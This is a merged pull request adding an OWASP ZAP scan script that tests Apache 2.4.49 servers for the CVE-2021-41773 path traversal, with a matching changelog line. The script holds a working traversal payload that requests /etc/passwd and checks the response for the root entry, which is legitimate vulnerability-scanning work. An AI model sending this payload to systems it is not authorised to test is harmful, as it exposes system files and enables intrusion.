Merge pull request #248 from kingthorin/cve202141773-apache

add: cve-2021-41773-apache-path-trav.js

Author: psiinon

CHANGELOG.md

@@ -8,6 +8,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
 - authentication/OfflineTokenRefresh.js - refresh oauth2 offline tokens
 - httpsender/AddBearerTokenHeader.js - refresh oauth2 offline tokens
 - targeted/WordPress Username Enumeration.js - A targeted script to check for WordPress Username Enumeration via author archives
+- targeted/cve-2021-41773-apache-path-trav.js - an active scan script to test for Apache 2.4.49 CVE-2021-41773 path traversal.
 
 ### Changed
 - Update minimum ZAP version to 2.11.0.

targeted/cve-2021-41773-apache-path-trav.js

@@ -0,0 +1,94 @@
+/**
+ * Scan rule for Apache 2.4.49 path traversal CVE-2021-41773.
+ * Based on: https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
+ */
+
+var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender")
+var Model = Java.type("org.parosproxy.paros.model.Model")
+var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference")
+var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader")
+var Control = Java.type("org.parosproxy.paros.control.Control")
+var ExtensionAlert = Java.type("org.zaproxy.zap.extension.alert.ExtensionAlert")
+var session = Model.getSingleton().getSession();
+
+// Print Statements using script name
+function logger() {
+    print("[" + this["zap.script.name"] + "] " + arguments[0]);
+}
+
+/**
+ * A function which will be invoked against a specific "targeted" message.
+ * 
+ * @param msg - the HTTP message being acted upon. This is an HttpMessage object.
+ */
+function invokeWith(msg) {
+
+    var url = msg.getRequestHeader().getURI().toString();
+    var alertName = "Apache Path Traversal - CVE-2021-41773"
+    var alertDesc = "[CVE-2021-41773]\nA flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. " +
+        "An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside " +
+        "of the document root are not protected by \"require all denied\" these requests can succeed. Additionally this flaw could " +
+        "leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only " +
+        "affects Apache 2.4.49 and not earlier versions."
+    var alertSol = "Upgrade to Apache 2.4.50 or newer."
+    var alertReference = "https://httpd.apache.org/security/vulnerabilities_24.html\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-41773"
+    var cweId = 22; // Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
+    var wascId = 33; // Path Traversal
+
+    var attackPath = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd";
+
+    // To check if script is running
+    logger("Testing Script against URL - " + url);
+
+    msg.getRequestHeader().getURI().setPath(attackPath);
+    var connectionParams = Model.getSingleton().getOptionsParam().getConnectionParam();
+    var sender = new HttpSender(connectionParams, true, 6);
+    sender.sendAndReceive(msg);
+    var status = msg.getResponseHeader().getStatusCode();
+    var rebody = msg.getResponseBody().toString();
+    var re = /root\:x\:0\:0\:root/g
+
+    // Checks to make sure that the response indicates the test was successful
+    if (status === 200 && re.test(rebody)) {
+        re.lastIndex = 0
+        var alertEvidence = re.exec(rebody);
+        customAlert(
+            pluginid,
+            3, // risk: 0: info, 1: low, 2: medium, 3: high
+            3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed
+            alertName,
+            alertDesc,
+            attackPath,
+            alertEvidence,
+            alertSol,
+            alertReference,
+            cweId,
+            wascId,
+            msg,
+            url
+        );
+    };
+    logger("Script run completed.");
+}
+
+/**
+ * Raise an alert.
+ * @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
+ */
+function customAlert(pluginid, alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, alertSol, alertReference, cweId, wascId, msg, url) {
+    var extensionAlert = Control.getSingleton().getExtensionLoader().getExtension(ExtensionAlert.NAME);
+    var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg);
+
+    var alert = new org.parosproxy.paros.core.scanner.Alert(pluginid, alertRisk, alertConfidence, alertName);
+    alert.setDescription(alertDesc);
+    alert.setAttack(alertAttack);
+    alert.setEvidence(alertEvidence);
+    alert.setSolution(alertSol);
+    alert.setReference(alertReference);
+    alert.setCweId(cweId);
+    alert.setWascId(wascId);
+    alert.setMessage(msg);
+    alert.setUri(url);
+
+    extensionAlert.alertFound(alert, ref);
+}